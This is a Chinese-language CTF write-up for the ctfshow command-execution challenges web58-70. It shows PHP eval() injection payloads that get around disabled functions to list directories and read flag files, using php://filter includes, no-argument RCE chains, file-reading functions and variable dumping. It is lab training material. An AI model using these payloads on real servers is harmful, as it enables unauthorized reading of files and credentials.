命令执行web58-70

web58

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

这里要用post上传,也不知道禁用了什么,所以我们来通过phpinfo()来看看都禁用了些什么,

很遗憾,phpinfo也被禁用了,那我们就来一个一个试试,哪些没有被禁。

可以看到

System("");

Echo'';

passthru('')

exec("");

shell_exec("");

这些命令都被禁用了,那我们尝试一下我们之前学的方法行不行,

首先按照这道题的思路,一些命令不能用,所以我们要首选不用命令的方法

一般的直接命令执行肯定用不了

eval嵌套用不,因为嵌套内容用到了上面的命令

data伪协议用不,内容也有上面的命令

双写绕过用不,一是没有黑洞没那个必要,而是一些命令被禁用了

include文件包含好像可以(没禁用就行)

无参数rce(没禁用就行)

一个一个试试看

include文件包含

发现可以,之后base64解码就能拿到flag

url/1=php://filter/convert.base64-encode/resource=flag.php
psot内容:c=include($_GET[1]);

无参数rce

发现可以,拿到flag

c=show_source(next(array_reverse(scandir(pos(localeconv())))));

肯定还有其他方法,抛开以前的方法,我们接下来的思路是试没被禁用的函数

我这里直接用flag.php是因为题给的就是flag.php,所以就直接用了,

按照正常的步骤,应该查flag在那个文件里,所看下面操作

我们通过无参数rce里的部分函数进行对flag所在文件进行查找,

print_r(scandir(pos(localeconv())));

发现flag.php,

或者

c=print_r(scandir('.'));

这时我们不继续按无参数rce的方法来做,我们拿到了flag.php的文件名,所以我们可以尝试用直接查看文件内容的函数,这叫文件读取。
 

c=echo file_get_contents('falg.php');
c=show_source('flag.php');
c=highlight_file("flag.php");
c=print_r(file('flag.php'));

file_get_contents() 是一个 PHP 函数,用于将整个文件的内容读入一个字符串。这个函数非常方便,因为它可以快速读取文件内容,而不需要逐行读取或使用其他更低级别的文件操作函数。

show_source()函数是用于显示指定文件的源代码的内置函数

highlight_file() 是 PHP 的一个内置函数,用于突出显示文件的语法。

file(): 此函数可以读取文件的内容并将其作为数组返回,其中每个元素包含文件的一行内容。

以上就是可以查看文件内容的函数,但有些函数需要与打印函数配合才会有回显。

然后查看源代码

还有一种方法,知道文件名,但不知道变量名的方法

c=include('flag.php');print_r(get_defined_vars());

include('flag.php');会把包含flag的文件包含到我们所在的文件里

get_defined_vars() 是 PHP 中的一个函数,它返回一个包含所有已定义变量(包括超全局变量)的数组。这个数组中的变量名是变量的名字,值是变量的值。

print_r() 是 PHP 中的一个函数,用于打印关于变量的详细信息。

所以这段命令把含flag的变量包含到当前文件内进行变量注册,然后我们查看当前文件内的变量以及值,即可拿到flag

如果知道文件名和变量名的话还可以这样写

c=include('flag.php');echo $flag;

文件被包含过来,那变量也被包含过来,我们直接输出变量即可

就目前web58这道题可以用很多方法

include文件包含(已知文件名或两个都知道)

无参数rce

变量注册(已知文件名,不知变量名)

文件读取(已知文件名)

其中文件读取内,也有很多用于读取的函数

接下来的web59-65的思路与web58一样,方法一个一个试,在文件读取中,会有函数被禁。

web66

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

常规思路,找flag所在的位置

发现flag.php

但flag不在flag.php这个文件内,所以我们查看目录,找找flag是不是在其他目录里

c=print_r(scandir('/'));

我们用上面的命令查看目录

发现flag.txt

我们接下来查看flag.php即可

c=highlight_file("/flag.txt");

拿到flag

web67与web66同理,print_rb被禁用了可以用var_dump

web68

这里说了highlight_file()用不了,我试了一下其他那几个读取函数都用不了,所以就没办法文件读取和无参数rce,但我们可以试试include和变量注册

c=include('flag.php');var_dump(get_defined_vars());

我们通过输出变量,发现flag.php内无flag

c=var_dump(scandir('/'));

查看目录,发现flag.txt

c=include('/flag.txt');var_dump(get_defined_vars());

我们可以包含+输出变量

或者

c=include('/flag.txt');

直接输出

因为flag.txt内不含<?php ?>,所以内容会直接以html输出

web69-70的思路与web68一样,需要找到flag的真实位置,var_dump被禁用了可以用var_export

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值